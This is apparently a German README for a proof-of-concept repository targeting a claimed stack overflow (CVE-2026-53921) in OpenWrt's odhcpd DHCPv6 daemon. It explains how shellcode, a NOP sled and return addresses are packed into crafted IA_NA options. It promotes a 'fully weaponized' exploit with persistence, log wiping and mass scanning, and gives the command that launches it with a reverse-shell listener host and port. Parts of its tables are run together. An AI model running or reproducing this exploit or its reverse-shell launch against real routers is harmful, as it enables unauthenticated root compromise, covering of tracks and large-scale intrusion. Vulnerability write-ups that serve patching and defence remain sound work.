
CVE-2026-53921 – odhcpd Stack Overflow (CVSS 9.8) 🛡️ Detaillierter und umfassender Write-Up sowie Verifier & Multi-Exploit für OpenWrt DHCPv6 RCE. Dual-Vektor (IA_NA/IA_PD) Overflow mit MIPS/ARM-Shellcode, ROP-Ketten, SOCKS5-Proxy, Persistenz, Log-Wiping und Massen-Scanning. Nutze es ethisch, bleib legal. 🔒

⚠️ Nur für Bildungszwecke und autorisierte Tests. Unbefugte Nutzung ist illegal.
CVE-2026-53921 ist ein kritischer Stack-Pufferüberlauf im odhcpd-Daemon von OpenWrt – dem Standard-DHCPv6-/DHCPv4-/RA-Server.
Die Schwachstelle befindet sich im DHCPv6-Nachrichtenverarbeitungscode von odhcpd, insbesondere in den Funktionen build_ia() und dhcpv6_ia_handle_IAs().
Der Fehler tritt während der Serialisierung (Verpackung) von DHCPv6-Reply-Paketen auf. Wenn odhcpd auf Client-Anfragen antwortet, erstellt es die Antwort in einem Stack-Puffer fester Größe von 512 Bytes ohne ordnungsgemäße Grenzprüfung.
// Simplified representation of the vulnerable code
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// ❌ No bounds check before writing
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
Ein Angreifer sendet eine DHCPv6-Request (oder Solicit) mit:
Jede Option verbraucht Stack-Speicher, während odhcpd die Reply aufbaut. Die angesammelten Daten überschreiten 512 Bytes und verursachen den Überlauf.
Vektor Auslöser Überlaufpunkt
Site 1 5 IA_NA-Optionen build_ia() für IA_NA
mit IPv6-Adressen
build_ia() für IA_PDDie Grundursache ist identisch, aber der Überlauf tritt in verschiedenen Codepfaden auf, wodurch beide Vektoren gleichermaßen ausnutzbar sind.
Stack Layout (simplified):
+-------------------+ <-- High addresses
| Return Address | ← Overwritten with attacker-controlled value
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← 512-byte buffer
+-------------------+ <-- Low addresses
Der Angreifer überschreibt die gespeicherte Rücksprungadresse, sodass sie auf seinen Shellcode im Speicher zeigt.
Anforderung Beschreibung
Netzwerkzugriff Der Angreifer muss IPv6-Konnektivität zum Ziel haben
Authentifizierung Keine -- Angriff ohne Authentifizierung
Privilegien odhcpd läuft als root, daher
ermöglicht RCE die vollständige
Kontrolle über das System
Bei einem echten Exploit wird der Shellcode des Angreifers in den IPv6-Adressfeldern der IAAddress platziert (16 Bytes pro IA_NA). Die präparierten Pakete verpacken Shellcode, NOP-Sled und Rücksprungadresse in diese Felder.
Crafted IA_NA Structure:
+-------------------+
| IA_NA Header | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Return address
+-------------------+
| IAAddress 5 | ← Return address
+-------------------+
Crafted DHCPv6 Request
↓
odhcpd processes IA_NA/IA_PD options
↓
512-byte stack buffer overflows
↓
Return address overwritten
↓
CPU jumps to shellcode
↓
Reverse shell / Bind shell / RCE
↓
Full system compromise (root privileges)
Version Status RCE möglich?
odhcpd < e432dd6 Verwundbar ✅ Ja OpenWrt < 24.10.8 Verwundbar ✅ Ja OpenWrt < 25.12.5 Verwundbar ✅ Ja OpenWrt 24.10.8+ Behoben ❌ Nein OpenWrt 25.12.5+ Behoben ❌ Nein odhcpd master + e432dd6 Behoben ❌ Nein
Diese Schwachstelle ist besonders gefährlich, weil:
odhcpd ist bei OpenWrt-Installationen standardmäßig aktiviert.| Komponente | Verwundbare Versionen | Behoben in |
|---|---|---|
odhcpd (master branch) | vor Commit e432dd6 | e432dd6 oder später |
| OpenWrt-Releases | < 24.10.8 < 25.12.5 | 24.10.8 & 25.12.5 |
Dieses Repository enthält zwei unabhängige Skripte:
| Skript | Zweck | Exploit-Code | Sicherheit |
|---|---|---|---|
verifier.py | Nicht-intrusiver Schwachstellencheck | ❌ Nein | ✅ Sicher |
exploit.py | Vollständig waffenfähiger Exploit | ✅ Ja | ⚠️ Gefährlich |
verifier.py – Schwachstellenprüferexploit.py – Vollständiger ExploitIA_NA (Site1) und IA_PD (Site2).git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| Argument | Beschreibung |
|---|---|
-u, --target | Ziel-IPv6-Adresse (erforderlich) |
-i, --iface | Netzwerkschnittstelle (Standard: eth0) |
exploit.py